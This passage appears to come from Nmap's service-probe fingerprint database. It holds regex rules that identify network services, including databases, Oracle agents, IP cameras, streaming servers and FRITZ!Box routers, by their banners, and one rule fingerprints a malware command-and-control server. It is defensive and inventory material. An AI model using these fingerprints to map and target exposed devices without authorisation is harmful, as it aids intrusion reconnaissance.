kdb m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\nContent-Length: 107\r\n\r\n| p/kdb+ http interface/ cpe:/a:kx_systems:kdb%2b/ match kerberos-sec m|^\0\0\0.~\x81.0\x81..\x03\x02\x01\x05.\x03\x02\x01\x1e.\x11\x18\x0f|s p/Mac OS X kerberos-sec/ o/Mac OS X/ cpe:/a:apple:kerberos:5/ cpe:/o:apple:mac_os_x/a match lcdproc m|^huh\? Invalid command \"GET\"\n| p/LCDProc screen interface daemon/ match listserv m|^The file name you specified is invalid\. LISTSERV files have names like\r\n\"BOARD\.MINUTES\" or \"XYZ-L LOG9303\" \(without the quotes\)\.\r\n| p/LISTSERV Administration service/ cpe:/a:lsoft:listserv/ match loadrunner-vts m|^\x02\0\0\0\x84\0\$\0\x03\0\x08 \0\0\x06\0\x05\0\x15Wrong version: 71\x02\0\0\0\x81\0\x07| p/HP LoadRunner Virtual Table Server/ cpe:/a:hp:loadrunner/ softmatch lscp m|^ERR:0:syntax error, unexpected '/' \(line:1,column:5\)\.| match megafillers m|^400 Unknown command\.\.\. Are you surprised\?\r\n$| p/MegaFillers game server/ match mogilefs m|^ERR unknown_command Unknown\+server\+command\r\n| p/MogileFS distributed filesystem/ match moneyworks m|^This is MoneyWorks; Server is on Windows\n$| p/MoneyWorks accounting software/ o/Windows/ cpe:/o:microsoft:windows/a match mosmig m|^GET \0\0\0\0TP/1\.0\r\n$| p/OpenMosix Process Migration Service/ o/Linux/ cpe:/o:linux:linux_kernel/a # MLDonkey 2.5 match napster m|^1INVALID REQUEST$| p/MLDonkey multi-network P2P client/ match napster m|^1$| p/WinMX or Lopster Napster P2P client/ match bittorrent-tracker m|^HTTP/1\.1 404 Not Found\r\nServer: MLdonkey\r\nConnection: close\r\nContent-Type: application/x-bittorrent\r\nContentlength: 0\r\n\r\n| p/MLDonkey multi-network P2P client/ match bittorrent-tracker m|^HTTP/1\.1 200 OK\r\nServer: MLdonkey/([\w._-]+)\r\nConnection: close\r\nContent-length: 53\r\n\r\nd14:failure reason31:Failure\(\"Incorrect filename 1\"\)e| p/MLDonkey multi-network P2P client/ v/$1/ match bittorrent-tracker m|^HTTP/1\.1 200 OK\r\nServer: MLdonkey\r\n| p/MLDonkey P2P client http config/ # Don't know the server name for this one. It's the same as the "your file may # exist elsewhere in the universe\nbut alas, not here" under FourOhFourRequest. match bittorrent-tracker m|^HTTP/1\.0 200 OK\r\n.*\nBitTorrent download info\n\n.*tracker version: ([\w._-]+)|s p/BitTornado tracker httpd/ v/$1/ match ndb_mgmd m|^result: Unknown command, 'GET / HTTP/1\.0'\n\n| p/MySQL cluster management server/ v/5.1/ cpe:/a:mysql:mysql:5.1/ # Original path was "/opt/openerp/server/bin/service/netrpc_server\.py\" match net-rpc m|^ 4041\(lp1\ncexceptions\nValueError\np2\n\(S\"invalid literal for int\(\) with base 10: 'GET / HT'\"\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"([\w._/-]+)/netrpc_server\.py\", line 69, in run\\n| p/OpenERP NET-RPC/ i/path: $1/ o/Unix/ match net-rpc m|^ 5051\(lp1\ncexceptions\nException\np2\n\(Vinvalid literal for int\(\) with base 10: 'GET / HT'\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"([\w._/-]+)/netrpc_server\.py\", line 63, in run\\n| p/OpenERP NET-RPC/ i/path: $1/ o/Unix/ match netbios-ssn m|^\x83\0\0\x01\x82\x7c\x8f$| match netwareip m|^\xfb\xff\xfe\xff\xfb\xff\xfe\xff\xfb\xff\xfe\xff$| p|Novell NetWare/IP| o/NetWare/ cpe:/o:novell:netware/a match nimbud-netmon m|^nimbus/([\d.]+) \d+ \d+\r\nmtype| p/Nimsoft Nimbus network monitor/ v/$1/ match ntrip m|^SOURCETABLE 200 OK\r\nServer: NTRIP Caster ([\w._-]+)/([\w._-]+)\r\nContent-Type: text/plain\r\n| p/Ntrip Caster/ v/$1/ i/protocol $2/ match giop m|^GIOP\x01\0\x01\x06\0\0\0\0$| p/omniORB omniNames/ i/Corba naming service/ match obiee m|^\x0c\x01\0\0\x03\0\0\0\x84\0\0\0\[\0n\0Q\0S\0E\0r\0r\0o\0r\0:\0 \x001\x002\x000\x003\x003\0\]\0 \0A\0 \0c\0l\0i\0e\0n\0t\0 \0t\0r\0i\0e\0d\0 \0t\0o\0 \0c\0o\0n\0n\0e\0c\0t\0 \0t\0o\0 \0a\0 \0s\0e\0r\0v\0e\0r\0 \0t\0h\0a\0t\0 \0i\0s\0 \0n\0o\0t\0 \0o\0f\0 \0t\0h\0e\0 \0r\0i\0g\0h\0t\0 \0t\0y\0p\0e\0\.\0\n\0\[\0n\0Q\0S\0E\0r\0r\0o\0r\0:\0 \x004\x003\x001\x001\x003\0\]\0 \0M\0e\0s\0s\0a\0g\0e\0 \0r\0e\0t\0u\0r\0n\0e\0d\0 \0f\0r\0o\0m\0 \0O\0B\0I\0S\0\.\0| p/Oracle BI Server/ match oem-agent m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Connection: Close\r\nX-ORCL-EMSV: ([\d.]+)\r\n|s p/Oracle Enterprise Manager Agent httpd/ v/$1/ cpe:/a:oracle:enterprise_manager:$1/ match openerp m|^[ \d]{8}1\(lp1\ncexceptions\nException\np2\n\(Vinvalid literal for int\(\) with base 10: 'GET / HT'\np3\ntp4\nRp5\naS'Traceback \(most recent call last\):\\n File \"(.*?)/openerp/service/netrpc_server\.py\", line 63, in run\\n msg = ts\.myreceive\(\)\\n File \".*?/openerp/tiny_socket\.py\", line 76, in myreceive\\n size = int\(buf\)\\nValueError: invalid literal for int\(\) with base 10: \\'GET / HT\\'\\n'\np6\na\.| p/OpenERP/ v/6.1/ i/install path: $1/ match opinionsquare m|^HTTP/1\.0 505 HTTP Version not supported\r\n\r\n$| p/OpinionSquare application/ # http://documents.opto22.com/1465_OptoMMP_Protocol_Guide.pdf match optommp m|^GET / P\0\0\0\0\0| p/OptoMMP/ # Oracle MTS Recovery Service 9.2.0.1 on Windows 2000 Professional match oracle-mts m|^HTTP/1\.0 200 OK\r\nContent-length: 7\r\n\r\nunknown$| p/Oracle MTS Recovery Service/ # Windows 2003 match oracle-mts m|^HTTP/1\.0 400 Bad Request\r\nContent-length: 15\r\nContent-type: text/html\r\n\r\n400 Bad Request$| p/Oracle MTS Recovery Service/ match oracle-nm m|^-ERR Invalid command name 'GET'\r\n-ERR Invalid command name ''\r\n| p/Oracle WebLogic Server Node Manager/ cpe:/a:oracle:weblogic_server/ match oracle-vs m|^\(err \(type xen\.xend\.XendError\.XendError\) \(value 'Invalid operation: GET'\)\)\n$| p/Oracle Virtual Service Agent/ i/Xen/ match oracle-vs m|^\(err \(type \"\"\) \(value 'Invalid operation: GET'\)\)\n$| p/Oracle Virtual Service Agent/ i/Xen/ match ormi m|^\xe3\r\n\r\n\0\x01\0.\0vInvalid protocol verification, illegal ORMI request or request performed with an incompatible version of this protocol|s p/Oracle Remote Method Invocation/ match ormi m|^\xe3\r\n\r\n\0\x01\0\x03\x0b\0vInvalid protocol verification, illegal ORMI request or request performed with an incompatible version of this protocol| p/Oracle Remote Method Invocation/ match pcs-partner m|^notAuthenticated\n| p/SpliceCom PCS Partner Protocol/ d/VoIP phone/ match ssl/pop3 m|^-ERR \[SYS/PERM\] Fatal error: tls_start_servertls\(\) failed\r\n$| p/Cyrus pop3sd/ cpe:/a:cmu:cyrus_imap_server/ match ssl/pop3 m|^-ERR Fatal error: pop3s: required OpenSSL options not present\r\n| p/Cyrus pop3sd/ cpe:/a:cmu:cyrus_imap_server/ # Postgresql-server-7.3.2-3 match postgresql m|^EFATAL: invalid length of startup packet\n\0$| p/PostgreSQL DB/ cpe:/a:postgresql:postgresql/ # Doesn't look like this line number has changed, but the file name may have. match pgpool m|^E\0\0\0.S[^\0]+\0CXX000\0M[^\0]*\0D[^\0]*\0Fpcp_worker\.c\0L176\0\0| p/pgpool-II/ cpe:/a:pgpool:pgpool-ii/ match postgrey m|^action=dunno\n\n$| p/Postfix Greylist Daemon/ match powerchute m|^server=&type=0&id=&count=1&oid=[\d.]+&value=&error=4\n| p/APC Powerchute/ d/power-device/ match niprint m|^NIPrint received command: ET / HTTP/1\.0\r\.\r\nThis command is not in LPD specification, ignored\r\nNIPrint received command: \.\r\nThis command is not in LPD specification, ignored\r\n| p/Network Instruments NIPrint network analyzer/ match ratnj m|^0\0$| p/RatNJ C2 server/ i/malware/ match raop m|^RTSP/1\.0 401 Unauthorized\r\nServer: AirTunes/([\w._-]+)\r\nWWW-Authenticate: Digest realm=\"raop\" nonce=\"\w+\"\r\n\r\n$| p/Apple AirTunes RAOP/ v/$1/ i/Apple AirPort Express/ d/WAP/ cpe:/h:apple:airport_express/ match redis m|^-ERR wrong number of arguments for 'get' command\r\n$| p/Redis key-value store/ match redis m|^-ERR wrong number of arguments for 'GET' command\r\n$| p/Redis key-value store/ # Later EMC Retrospect, then Roxio Retrospect, then Retrospect, Inc. Retrospect match retrospect m|^\0\xca\0\0\0\0\0\x04\0\0\0\0$| p/Dantz Retrospect/ v/6.0/ cpe:/a:dantz:retrospect:6.0/ # http://www.librelp.com/relp.html match relp m|^0 serverclose 0\n$| p/Reliable Event Logging Protocol/ match rfidquery m|^Error 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\nError 0 parse error\n\n$| p/Mercury3 RFID Query protocol/ softmatch rotctld m|^RPRT -1\n| p/Hamlib rotctld/ match rtsp m|^RTSP/1.0 400 Bad Request\r\nServer: DSS/([-.\w]+) \[(v\d+)]-(\w+)\r\n| p/DarwinStreamingServer/ v/$1/ i/$2 on $3/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+ \[v\d+\]-Win32)\r\nCseq: \r\n| p/Apple QuickTime Streaming Server/ v/$1/ o/Windows/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+ \[\d+\]-Linux)\r\nCseq: \r\n| p/Apple QuickTime Streaming Server/ v/$1/ o/Linux/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:linux:linux_kernel/a match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+) \(Build/([\d.]+); Platform/MacOSX; ([^)]*); \)\r\n| p/Apple QuickTime Streaming Server/ v/$1 build $2/ i/$3/ o/Mac OS X/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:apple:mac_os_x/a match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/([\d.]+) \(Build/([\d.]+); Platform/MacOSX\)\r\n| p/Apple QuickTime Streaming Server/ v/$1 build $2/ o/Mac OS X/ cpe:/a:apple:quicktime_streaming_server:$1/ cpe:/o:apple:mac_os_x/a match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: QTSS/v([\d.]+)\r\nCseq: \r\nConnection: Close\r\n\r\n| p/Apple QuickTime Streaming Server/ v/$1/ cpe:/a:apple:quicktime_streaming_server:$1/ match rtsp m|^RTSP/1\.0 505 Protocol Version Not Supported\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1/a cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 505 Vers\xc3\xa3o do Protocolo sem Suporte\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Portuguese/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::pt/ cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 505 Vers\xc3\xa3o de protocolo n\xc3\xa3o suportada\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Portuguese/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::pt/ cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 505 Versi\xc3\xb3n del protocolo no compatible\r\nDate: .*\r\nServer: WMServer/([\w._-]+)\r\n\r\n$| p/Microsoft Windows Media Services/ v/$1/ i/Spanish/ o/Windows/ cpe:/a:microsoft:windows_media_services:$1:::es/ cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 505 RTSP Version not supported\r\nCseq: \d+\r\nServer: fbxrtspd/([\d.]+) Freebox minimal RTSP server\r\n\r\n| p/Freebox minimal rtspd/ v/$1/ d/media device/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCseq: \d+\r\nServer: fbxrtspd/([\w._-]+) Freebox RTSP server\r\n| p/Freebox rtspd/ v/$1/ d/media device/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nDate: .*\r\nAllow: OPTIONS, DESCRIBE, SETUP, TEARDOWN, PLAY, PAUSE, STATS\r\n\r\n| p/MediaPortal TV-Server rtspd/ d/media device/ match rtsp m|^HTTP/1\.0 401 Unauthorized\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nWWW-Authenticate: Basic realm=\"server\r\nContent-Length: 166\r\n| p/Avtech MPEG4 DVR control rtspd/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nDate: .*\r\nallow: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN, SET_PARAMETER\r\n\r\n$| p/ACTi E32 webcam rtspd/ d/webcam/ cpe:/h:acti:e32/ match rtsp m|^HTTP/1\.0 503 Service Unavailable\r\nServer: GStreamer RTSP Server\r\nConnection: close\r\nCache-Control: no-store\r\nPragma: no-cache\r\nDate: .*\r\n\r\n$| p/GStreamer rtspd/ # Example i/Win32; Windows NT 6.1/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nServer: Microsoft Application Virtualization Server/([\w._-]+) \[([^]]+)\]\r\nDate: .*\r\n\r\n| p/Microsoft Application Virtualization Server rtspd/ v/$1/ i/$2/ o/Windows/ cpe:/o:microsoft:windows/a match rtsp m|^RTSP/1\.0 405 Method Not Allowed\r\nServer: Dahua Rtsp Server\r\nContent-Length: 0\r\nCSeq: 0\r\n\r\n| p/Dahua IP camera rtspd/ d/webcam/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nSERVER: HDHomeRun/1\.0\r\nCSeq: 0\r\n\r\n| p/SiliconDust HDHomeRun set top box rtspd/ d/media device/ cpe:/h:silicondust:hdhomerun/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nContent-length: 0\r\n\r\n| p/Weatherbug camera rtspd/ d/webcam/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCSeq: 1\r\nServer: Hipcam RealServer/V([\d.]+)\r\n\r\nRTSP/1\.0 400 Bad Request\r\n| p/Hipcam IP camera rtspd/ v/$1/ d/webcam/ match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nServer: HIP([\d.]+)\r\n\r\n| p/2N Helios IP intercom rtspd/ v/$1/ cpe:/h:2n:helios_ip/ match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nConnection: Keep-Alive\r\n\r\n$| p/Panasonic AW-HE50 camera rtspd/ d/webcam/ cpe:/h:panasonic:aw-he50/ match rtsp m|^HTTP/1\.1 405 Method Not Allowed\r\nDate: .*\r\n\r\n\r\n$| p/DoorBird video doorbell rtspd/ d/webcam/ match rtsp m|^HTTP/1\.1 200 OK\r\nContent-Type: application/x-rtsp-tunnelled\r\nServer: H264DVR ([\d.]+)\r\nConnection: close\r\nCache-Control: private\r\n\r\n| p/H264DVR rtspd/ v/$1/ d/storage-misc/ match rtsp m|^RTSP/1\.0 505 RTSP Version Not Supported\r\nServer: ALi feng/([\w._-]+)\r\nDate: Week \d+, .* GMT\r\n\r\n| p/feng rtspd/ v/$1/ cpe:/a:lscube:feng:$1/ match rtsp m|^RTSP/1\.0 400 Bad Request\r\nCSeq: 0\r\nServer: Hipcam RealServer/V([\d.]+)\r\n\r\n| p/Hipcam RealServer rtspd/ v/$1/ d/webcam/ # draft-gentric-avt-rtsp-http-00 softmatch rtsp m|^HTTP/1\.[01] \d\d\d(?:[^\r\n]*\r\n(?!\r\n))*?Content-Type: application/x-rtsp-tunnelled|s match sassafras m|^/0 0 ([-\w_.]+)\r\n/0 0 HUH\r\n| p/Sassafras Key Server/ h/$1/ match seti-proxy m|^HTTP/1\.0 200 OK\r\nServer: SetiQueue/(\d+)\r\n| p/SetiQueue SETI@Home proxy/ v/$1/ match shell m|^\x01INTERnet ACP Error Status = %SYSTEM-F-TOOMUCHDATA\r\n\0$| p/OpenVMS shelld/ o/OpenVMS/ cpe:/o:hp:openvms/a # SHOUTcast Distributed Network Audio: www.shoutcast.com match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix\(linux x[86][64]\) v([\w._-]+)
          \r\n.*icy-name:([^\r\n]*)\r\n.*icy-genre:([^\r\n]*)\r\n.*icy-url:([^\r\n]*)\r\n.*icy-br:(\d+)\r\n|s p/SHOUTcast server/ v/$1/ i/stream name: $2; genre: $3; URL: $4; bitrate: $5/ o/Linux/ cpe:/a:shoutcast:dnas:$1/a cpe:/o:linux:linux_kernel/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/MacOS_X.v([\d.]+).*icy-name:(.*?)\r\n|s p/SHOUTcast server/ v/$1/ i/Name: $2/ o/Mac OS X/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:apple:mac_os_x/a match icy m|^ICY 401 Service Unavailable\r\n.*SHOUTcast Distributed Network Audio Server/UNIX OS-3 v([\d.]+)| p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a match icy m|^ICY 200 OK\r\n.*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/Linux.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/win[36][24].v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/SolarisSparc.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Solaris/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:sun:sunos/a match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/FreeBSD.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/FreeBSD/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:freebsd:freebsd/a match icy m|^ICY \d\d\d .*SHOUTcast Distributed Network Audio Server/posix.v([\d.]+)|s p/SHOUTcast server/ v/$1/ o/Unix/ cpe:/a:shoutcast:dnas:$1/ match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/win[36][24] v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/posix\(linux x[86][64]\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/posix\(bsd\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Name: $2/ o/BSD/ cpe:/a:shoutcast:dnas:$1/ match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice2:SHOUTcast DNAS/armv6\(rpi\) v([\d.]+)
          \r\n.*icy-name:(.*?)=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Raspberry Pi; Name: $2/ cpe:/a:shoutcast:dnas:$1/ match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/win[36][24] v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/Windows/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:microsoft:windows/a match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/posix\(linux x[86][64]\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/Linux/ cpe:/a:shoutcast:dnas:$1/ cpe:/o:linux:linux_kernel/a match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/posix\(bsd\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ o/BSD/ cpe:/a:shoutcast:dnas:$1/ match icy m=^(?:HTTP/1\.0|ICY) \d\d\d .*\r\nicy-notice1:
          SHOUTcast DNAS/armv6\(rpi\) v([\d.]+)
          \r\n=s p/SHOUTcast Distributed Network Audio Server/ v/$1/ i/Raspberry Pi/ cpe:/a:shoutcast:dnas:$1/ match icy m|^HTTP/1\.0 200 OK\r\nContent-Type: audio/mpeg\r\nicy-br:([\d.]+)\r\n.*icy-name:([^\r\n]+)\r\n(?:[^\r\n]+\r\n)*?Server: Icecast ([\d.]+)\r\n\r\n|s p/Icecast streaming media server/ v/$3/ i/Name $2; Bitrate $1/ cpe:/a:xiph:icecast:$3/ match icy m|^HTTP/1\.0 200 OK\r\nContent-Type: audio/mpeg\r\nicy-br:([\d.]+)\r\n(?:[^\r\n]+\r\n)*?Server: Icecast ([\d.]+)\r\n|s p/Icecast streaming media server/ v/$2/ i/Bitrate $1/ cpe:/a:xiph:icecast:$2/ match shoutcast m|^invalid password\r\n$| p/SHOUTcast server/ cpe:/a:shoutcast:dnas/a match shoutirc m|^HTTP/1\.0 200 OK\r\nConnection: close\r\n\r\n

          ShoutIRC Bot ([\w._-]+)

          This is not a web server port, it is for use only by clients supporting the Remote Protocol!| p/ShoutIRC Bot/ v/$1/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon WLAN ([\d.]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Box WLAN $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon (\w+) \(UI\) ([^\r\n]+)\r\n| p/AVM FRITZ!Box $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box Fon ([^\r\n]+)\r\n|s p/AVM FRITZ!Box/ v/$1/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Box WLAN ([\d.]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Box WLAN $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM FRITZ!Fon ([\w_-]+) ([^\r\n]+)\r\n| p/AVM FRITZ!Fon $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: FRITZ!OS\r\nContent-Length: 0\r\n\r\n| p/AVM FRITZ!OS SIP/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM Speedport (W \w+) ([^\r\n]+)\r\n| p/Speedport $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: AVM Sinus (W \w+) ([^\r\n]+)\r\n| p/AVM Sinus $1/ v/$2/ d/VoIP adapter/ match sip m|^SIP/2\.0 400 Illegal request line\r\nFrom: \r\nTo: ;tag=badrequest\r\nUser-Agent: Speedport (W \w+) ([^\r\n]+)\r\n| p/T-Com Speedport $1/ v/$2/ d/VoIP adapter/ match slimp3 m|^GET %2[Ff] HTTP%2[Ff]1\.0\n$| p/SliMP3 MP3 player/ i|http://www.slimdevices.com| match soap m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"gSOAP_Web_Service\",.*Server: gSOAP/([\d.]+)\r\n.*ClientHTTP Error: 401 Unauthorized|s p/gSOAP/ v/$1/ i/Sagem F@st 3464 WAP soap/ d/WAP/ cpe:/a:genivia:gsoap:$1/ match soap m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"realtek\.com\.tw\", qop=\"auth\", nonce=\"[0-9a-f]+\", opaque=\"[0-9a-f]+\"\r\nServer: gSOAP/([\w._-]+)\r\n| p/gSOAP/ v/$1/ cpe:/a:genivia:gsoap:$1/ match soap m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: gSOAP/([\d.]+)\r\n|s p/gSOAP/ v/$1/ cpe:/a:genivia:gsoap:$1/ match soap m|^HTTP/1\.1 200 OK\r\nServer: SCS\r\nContent-Type: text/html; charset=utf-8\r\n.*

          ServerView Remote Connector - Provider V([\w._-]+)

          |s p/Fujitsu ServerView Remote Connector soap/ v/$1/ cpe:/a:fujitsu:serverview_operations_manager:$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: SCS\r\nContent-Type: text/html; charset=utf-8\r\n.*

          ServerView Remote Connector Service V([\w._-]+)

          |s p/Fujitsu ServerView Remote Connector soap/ v/$1/ cpe:/a:fujitsu:serverview_operations_manager:$1/ match soap m|^HTTP/1\.0 500 Internal Server Error\r\nServer: gSOAP/([\w._-]+)\r\n.* xmlns:gmmiws=\"https://([\w._-]+):\d+/glsinternal\.wsdl\" .*HTTP GET method not implemented|s p/gSOAP/ v/$1/ i/Good Messaging Server gddomsyncsrv/ h/$2/ cpe:/a:genivia:gsoap:$1/ match soap m|^HTTP/1\.0 500 Internal Server Error\r\nServer: gSOAP/([\w._-]+)\r\n.* xmlns:pushws=\"https://([\w._-]+):\d+/pushws\">.*HTTP GET method not implemented|s p/gSOAP/ v/$1/ i/Good Messaging Server gdpushproc/ h/$2/ cpe:/a:genivia:gsoap:$1/ match soap m|^HTTP/1\.1 405 Method Not Allowed\r\nDate:\d\d\d\d-\d\d-\d\dT\d\d:\d\d:\d\d\r\nContent-Type: application/soap\+xml; charset=\"utf-8\"\r\n\r\n$| p/Dell 1130n printer soap/ d/printer/ cpe:/h:dell:1130n/ match soap m|^HTTP/1\.1 200 OK\r\nContent-Type: text/xml; charset=utf-8: \r\nConnection: close\r\n\r\n<\?xml version=\"1\.0\" encoding=\"UTF-8\" 